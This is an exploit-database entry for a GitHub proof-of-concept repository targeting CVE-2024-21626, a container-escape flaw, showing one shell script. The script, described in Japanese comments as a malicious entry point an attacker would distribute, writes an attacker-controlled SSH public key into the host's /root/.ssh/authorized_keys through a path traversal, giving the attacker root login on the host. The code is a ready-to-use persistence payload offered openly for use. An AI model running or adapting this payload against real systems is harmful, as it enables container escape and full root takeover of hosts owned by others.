Exploit database

GH-ad7f78911877aed35f882a05663a40c6

laysakura/cve-2024-21626-demo

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-21626

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
laysakura/cve-2024-21626-demoRevision 1e1d186bb1dc

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

inject-ssh-key.sh

Shell · 529 bytes
#!/bin/sh
# これも攻撃者がどこかで配信している、悪意あるentry pointスクリプト。
# CVE-2024-21626 が刺さった状態を前提とし、攻撃者自身の公開鍵を
# `../../../root/.ssh/authorized_keys` : ホストの `/root/.ssh/authorized_keys`
# に書き込むことで、攻撃者自身がホストにrootログインできるようにする。
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server' > ../../../root/.ssh/authorized_keys